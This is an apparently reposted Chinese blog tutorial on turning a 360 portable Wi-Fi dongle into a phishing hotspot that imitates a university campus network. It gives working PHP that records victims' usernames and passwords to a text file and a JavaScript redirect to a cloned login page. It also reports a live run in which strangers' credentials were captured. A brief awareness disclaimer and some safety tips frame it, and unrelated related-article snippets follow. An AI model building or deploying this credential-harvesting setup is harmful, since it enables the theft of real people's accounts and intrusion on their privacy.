Windows下用某品牌随身WiFi搭建一个钓鱼热点

*本文原创作者:Leslie___Cheung ,本文属于原创博客,未经许可禁止转载。

*本文内容仅代表作者观点且只做测试展示,目的是提醒读者注意 WiFi 联网安全,严禁将内容用于不法用途。

目录

前言

01 搭建过程   

第一步:

第二步:

第三步:

第四步:

02 钓鱼演示

03 钓鱼测试

后记


前言

 

   搭建钓鱼 WiFi 来盗取账号密码在现在已经成为一种很平常的攻击手段了,在网络上各个博客论坛上面都可以 看到有作者用 kali 搭建钓鱼 WiFi 进行测试的文章,因此我决定测试一下,便于研究防范。但由于现在我还是学生,还有好多课程要用到Windows系统,只有虚拟机里装了Linux,只好用Windows搭建钓鱼WiFi了。话说回来,由于学校万恶的校园网不让共享宽带,连 WiFi 都开不了,于是买了一个 360 随身WiFi ,没想到发现这个 360 随身WiFi有一个主人确认连接的模式,当连接方式设置为“主人确认连接”,此时如有设备连接热点,客户端会弹出一个等待页面,360 随身 WiFi 则会在电脑上弹出连接请求。当请求未被同意,此时设备虽然能够连接热点,但没有网络访问权限,所有的网页请求都会被重定向到一个特定的网页上,这一点十分像 校园网 和 CMCC 的认证登录。本文就利用这一特点来搭建钓鱼热点,利用打开的那个特定网页作为跳板将所有 HTTP 请求二次重定向到登录页面,这个登录页面我们可以抓取 自己校园网的登陆页面 也 可以用HTML或PHP写一个,本地使用 php 环境搭建简易认证系统,这样一个简单钓鱼热点就搭建完成,可以测试了!

 

   首先准备工具:

             360随身WiFi;

            XAMPP(PHP集成环境,下载连接会放在文章底部);

                                         

01 搭建过程   

第一步:

              上某宝或某东购买 360随身WiFi,插入电脑此时随身WiFi会自动安装它所需的驱动,若安装失败可安装360官网上下载的驱动程序。找到随声WiFi的安装路径,一般和 360安全卫士 (本人肯定不装这个的)在同一目录下,找到 360 随身WiFi指向的页面wifi.html(路径一般是C:\Program Files(x86)\360AP\web\,我一般软件不装到C盘所以我的路径为D:\360AP\web\)在这目录下可以看到3个文件"wifi.html","fallow.dat","loading.gif",

 

其中的wifi.html就是客户端连接时弹出的认证界面,我们只要替换掉HTML文件为我们伪造的页面,就可以猥琐欲为了。不过这里还有一点,由于这里给客户端弹得是静态页面,无法实现密码的储存,我们要搭建本地的服务器,这里推荐XAMPP,自带apache服务器与MySQL数据库,简单方便。  

 

 

第二步:

  

  以上是钓鱼网站的文件,其中文件夹里的文件以及三个php文件是直接将我们学校的WiFi认证网站上直接保存下来的改成php的,而.txt是保存有用户输入的账号密码的文件(肯定有人会杠"为什么不用数据库保存,laji",这里是因为只是测试用,数据量比较小,所以就保存成文件就完事了,方便查看)。login.php和main.php分别是电脑和手机的登录页面(我们学校的登录页面手机和电脑不一样的)。

这是原本网页的Form表单提交代码

<div id="user_login"><div class="ui-field-contain ui-body ui-br" data-role="fieldcontain"><!-- 根据这个input的name值(uname)获取post提交的数据(账号) --><input id="txtuser" class="ui-input-text ui-body-c ui-corner-all ui-shadow-inset" data-theme="c" name="uname" placeholder="工号/学号/用户名" tabindex="1" type="text" value=""></div><div class="ui-field-contain ui-body ui-br" data-role="fieldcontain"><!-- 根据这个input的name值(pass)获取post提交的数据(密码) --><input id="txtPwd" class="ui-input-text ui-body-c ui-corner-all ui-shadow-inset" data-theme="c" name="pass" placeholder="密码" tabindex="2" type="password" value=""></div><div class="cgrey" style="line-height: 36px; margin-top:3px;"><!-- 根据这个select的name值(UserType)获取post提交的数据(用户类型) --><select id="userType" name="UserType" tabindex="3" data-theme="c" data-track-theme="b"><option selected="selected" value="@none">请选择用户类型</option><option value="教职工用户">教职工用户</option><option value="学生用户">学生用户</option><option value="@tmp">其它用户</option></select> <span style="padding-bottom:6px;">用户类型</span></div>
</div>

根据input的name属性值可以获取提交的数据,于是我们修改登录页面,加上一段代码:

注意:@$_POST['  ']中的uname,pass,UserType为登陆页面表单中input的name属性值

<?php date_default_timezone_set("Asia/Shanghai");//uname,pass,UserType为表单中input的name属性值$acco = @$_POST['uname']; $pass = @$_POST['pass'];$type = @$_POST['UserType'];if((strlen($acco)>6)&&(strlen($pass)>5)){$path='phone.txt';$f=fopen($path,'a');fwrite($f,"时间:");fwrite($f,date("Y-m-d H:i:s")."\t");fwrite($f,"账号:");fwrite($f,$acco."\t");fwrite($f,"密码:");fwrite($f,$pass."\t");fwrite($f,"类型:");fwrite($f,$type."\r\n");fclose($f); }else {$path='error.txt';$f=fopen($path,'a');fwrite($f,"时间:");fwrite($f,date("Y-m-d H:i:s")."\t");fwrite($f,"账号:");fwrite($f,$acco."\t");fwrite($f,"密码:");fwrite($f,$pass."\t");fwrite($f,"类型:");fwrite($f,$type."\r\n");fclose($f); }?>

上面只是一个简单的判断,具体情况各位可以根据自己的伪造WiFi的账号密码进行分析

第三步:

        360 随身WiFi,修改之前 第一步 找到的wifi.html文件,使其打开时自动跳转至登录页面,这样未同意的设备连接后会自动弹出登录页面或打开任意网页就会跳转到登录页面。将wifi.html用记事本打开,内容改为:

<!DOCTYPE html>
<html><head><meta http-equiv = "Content-Type" content = "text/html; charset = utf-8" /><script type="text/javascript">var system ={};  var p = navigator.platform;       system.win = p.indexOf("Win") == 0;  system.mac = p.indexOf("Mac") == 0;  system.x11 = (p == "X11") || (p.indexOf("Linux") == 0);     if(system.win||system.mac||system.xll){    //如果是电脑跳转到document.location = "http://192.168.253.1/passport.nchu.edu.cn/main.php"//192.168.253.1为随身WiFi的IP地址}else{                                  //如果是手机,跳转到window.location.href="http://192.168.253.1/passport.nchu.edu.cn/login.php";  }</script></head>
</html>

上方代码中 192.168.253.1 为我自己的随身WiFi的IP地址,查看你的随身WiFi IP地址方式:打开cmd,输入ipconfig;

 

第四步:

       插入随身WiFi,打开WiFi设置界面,来到设置中心,将WiFi名称学校校园网WiFi名称,将连接方式选为主人确认连接,基本上别人也分辨不出真假了,至此,WiFi的设置完成。

 

 

 

02 钓鱼演示

  先用自己手机测试一番,打开手机WiFi,连上NCHU_Wireless,可以看到电脑会弹出是否确认连接的页面,经过我实际的测试你不管点同意还是不同意又或是直接不管,客户端都会弹出认证界面,输入的账号密码都会被记录到服务器中。

首先看txt中数据为空:

在钓鱼界面输入账号密码:

                            

    电脑端钓鱼页面:

再次查看数据:

 

可以看到已经获取到了用户账号和密码,账户类型以及其登陆的时间。

 

 

03 钓鱼测试

       找一个方便的地方,打开电脑,插上随身WiFi,默默地等人连接,玩了一会手机就看到电脑提示有设备申请连接一一拒绝后查看后台数据发现他们输入的账号密码已被记录。

 

后记

    钓鱼 WiFi 不仅能钓取到 校园网 账号和密码,通过 Wireshark等抓包软件还可以抓取到用户的其它信息,正如央视去年“ 315 晚会”现场演示的那样,黑客利用虚假 WiFi 盗取晚会现场观众手机系统、品牌型号、自拍照片、邮箱帐号密码等各类隐私数据,即使是熟悉的网络也一定要注意网络安全问题。钓鱼WiFi的光从页面上是难以分辨的,大家连WiFi时一定要多看看认证页面的url,谨防上当。 因此使用公共场合的 WiFi 热点时,尽量不要进行网络购物和网银的操作,避免重要的个人敏感信息遭到泄露。

 

再次申明本文内容仅代表作者观点且只做测试展示,目的是提醒读者注意 WiFi 联网安全,严禁将内容用于不法用途。

XAMPP下载地址:http://download.csdn.net/download/leslie___cheung/10260215

在这里插入图片描述

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/1620680.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

随身wifi折腾日记 (刷armbian搭建服务器,内网穿透部署网站)

随身wifi折腾日记 跳转博客,观感更佳 商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处。 For commercial use, please contact the author for authorization. For non-commercial use, please indicate the source. 协议(License)&#xff1a;署名-非商业性使用-…

网络基础 ----------- 电脑设置为wifi站点

在上大学的时候最难受的就是&#xff0c;没有无线&#xff0c;但是电脑有宽带&#xff0c;那么怎么将电脑变成路由器哪 1、首先查看你的无线网卡是否支持开无线 通过命令win R 快捷件进入命令窗口输入 &#xff1a; 、 netsh wlan show drivers //查看你的无线网卡是否支持…

把电脑设置为免费的WIFI热点

你还以为那些网络上的免费WIFI软件有多么神奇吗&#xff1f;你还在想用电脑WIFI却不想使用那些“流氓软件”而纠结吗&#xff1f;本篇以尽可能简单的方式&#xff0c;教你如何【靠自己】来把电脑设置为WIFI热点。&#xff08;哈哈&#xff0c;从此以后麻麻再也不用担心我会被流…

网络基础 ----------- 电脑设置为wifi站点

在上大学的时候最难受的就是&#xff0c;没有无线&#xff0c;但是电脑有宽带&#xff0c;那么怎么将电脑变成路由器哪 1、首先查看你的无线网卡是否支持开无线 通过命令win R 快捷件进入命令窗口输入 &#xff1a; 、 netsh wlan show drivers //查看你的无线网卡是否支…

笔记本电脑无线Wifi热点设置工具

这个不是C语言&#xff0c;是批处理命令行了&#xff0c;本身在Win7以上的系统内&#xff0c;笔记本电脑内置的无线网卡就可以被虚拟成无线Wifi热点&#xff0c;而不需要那些小软件&#xff0c;自己本身就可以DIY&#xff0c;就写了一个&#xff0c;还是很有实用价值的&#xf…

新的计算机的wifi连接无线网络连接,如何设置电脑优先连接无线WIFI网络

办公室网络多的情况下电脑自动连接到一些信号不好的WIFI影响我们正常的办公&#xff0c;手机也是一样的&#xff0c;在多种情况下限制了我们畅游互联网。下面是学习啦小编收集整理的如何设置电脑优先连接无线WIFI网络&#xff0c;希望对大家有帮助~~ 设置电脑优先连接无线WIFI网…

如何设置无线网络中计算机的ip,电脑wifi怎么设置 电脑wifi设置教程详解

现在很多人的日常娱乐方式主要是看看视频、上上网等,和过去不一样的是,现在大家上网不只是用电脑,更多的是智能手机和 平板电脑 。但是他们是无法接入 网线 的,单纯用流量的话费用非常高,所以就离不开WiFi的使用了。很多人家中也有电脑,但是可能不知道如何让自己的电脑给…

关于msvcp140.dll丢失的解决方法,分享最简单详细的解决方法

今天&#xff0c;我将为大家详细介绍一种常见的问题——msvcp140.dll丢失&#xff0c;并提供四种不同的解决方法。希望通过这次分享&#xff0c;能够帮助大家解决这个问题&#xff0c;提高电脑使用效率。 首先&#xff0c;让我们来了解一下msvcp140.dll文件。msvcp140.dll是Mi…

/PROC/[PID]各目录项的UID、GID是怎么来的

/PROC/[PID]各目录项的UID、GID是怎么来的 文章目录 /PROC/[PID]各目录项的UID、GID是怎么来的第一层&#xff1a;伪文件系统inode_operation.getattr.lookup 第二层&#xff1a;进程的dumpable属性物理上对应哪个字段这个字段什么时候更新 最近遇到一个好玩的现象&#xff1a;…

lab8 lock

PreRead 第六章3.5节&#xff1a;物理内存分配器8.1-8.3 文章目录 PreReadMemory allocatortaskshints思路 Buffer cachetaskhints思路实现 这次的lab&#xff0c;本质上都是通过将锁的粒度减小来获得性能的提升 第一个task&#xff0c;可以简单地按cpu划分&#xff0c;因为本…

GiD 前处理 实例

目录 Blog Links一、前言二、创建 1/8 半球体2.1 创建圆弧及圆球面2.2 创建半球面等分点2.3 连接等分线2.4 生成 1/8 半球体 三、创建整个球体四、划分网格五、尾声六、参考文献 Blog Links DalNur | 博客总目录 GiD 实用教程 GiD 前处理 实例 GiD 自定义 简介 GiD 后处理 …

Linux 建立用户和修改用户UID,GID

预设用户名为tom&#xff0c;UID222&#xff0c;GID222 首先我们来创建一个用户&#xff0c;创建用户命令&#xff1a; useradd tom&#xff08;useradd 用户名&#xff09; 创建好用户名后&#xff0c;再来创建用户的密码&#xff0c;于是接着创建密码&#xff0c;创建密码命…

Android中UID、GID和PID的讲解

一、概述 在实际的开发中经常会碰到各种ID&#xff0c;这是由于在计算机的发展过程中&#xff0c;需要对程序执行的每一步做标记&#xff0c;通过这些标记的关联便于系统的统一管理。像PID、UID、GID、和EUID等&#xff0c;其实对于这些ID不需要刻意记忆&#xff0c;只需要了解…

Linux中的UID、GID和SID

一、 UID和GID vi /etc/passwd查看用户配置情况 GID 是组ID (Group Identify)&#xff0c;表示组的身份唯一标识 UID 是用户ID (User Identify)&#xff0c;表示用户身份唯一标识 用户分类 centos6 超级用户 UID0 root 普通用户 UID500起 oldboy 虚拟用户 UID1-499 存在满足…

GiD初步使用

GiD软件具有全面的几何建模、网格划分、CAD数据导入、后处理结果显示等功能。GiD采用类似于CAD的操作模式&#xff0c;用户在使用GiD创建复杂模型问题时&#xff0c;会感受到前所未有的方便和轻松。它易于操作、方便灵活、直观便捷。 1. 下载与安装 到官方网站下载适合电脑配…

用户账号-用户标识符:UID与GID

虽然我们登录Linux主机的时候&#xff0c;输入的是我们的账号&#xff0c;但是其实Linux主机并不会直接认识你的“账号名称”的&#xff0c;它仅认识ID。ID与账号的对应关系在/etc/passwd当中。 每个登录的用户至少都会取得两个ID&#xff0c;一个是用户ID&#xff08;UserID&…

Android 安全机制(1)uid 、 gid 与 pid

1、概述 Android 安全机制来源于Linux&#xff0c;并且以Linux权限管理为基础&#xff0c;要了解Android的安全机制&#xff0c;需要从linux中的安全机制了解开始&#xff0c;而用户的权限管理又是linux安全机制的最基本的一个组成. Android的创新之处是在linux用户权限管理的…

UID、EUID、GID和EGID

UID、EUID、GID和EGID Linux中id真是太多了进程有pid&#xff0c;然后用户还有UID这种&#xff0c;真是有点绕。 在Linux当中一个进程&#xff08;程序&#xff09;拥有四个ID:真实用户UID、有效用户EUID、真实组GID和有效组EGID。 这里以真实用户UID和有效用户EUID为例&…

用户和用户组-UID和GID

用户和用户组-UID和GID Linux用户和用户组用户UID用户组GID/etc/passwd 文件结构/etc/shadow 文件结构 Linux用户和用户组 Linux采用一个32位的整数记录和区分不同的用户。这个区分不同用户的数字被称为User ID&#xff0c;简称UID。Linux系统中用户分为3类&#xff0c;即普通…

linux uid gid 作用,Linux uid和gid

Linux uid和gid教程 我们在登陆 Linux 系统时&#xff0c;虽然输入的是自己的用户名和密码&#xff0c;但其实 Linux 并不认识你的用户名称&#xff0c;它只认识用户名对应的 ID 号(也就是一串数字)。Linux 系统将所有用户的名称与 ID 的对应关系都存储在 /etc/passwd 文件中。…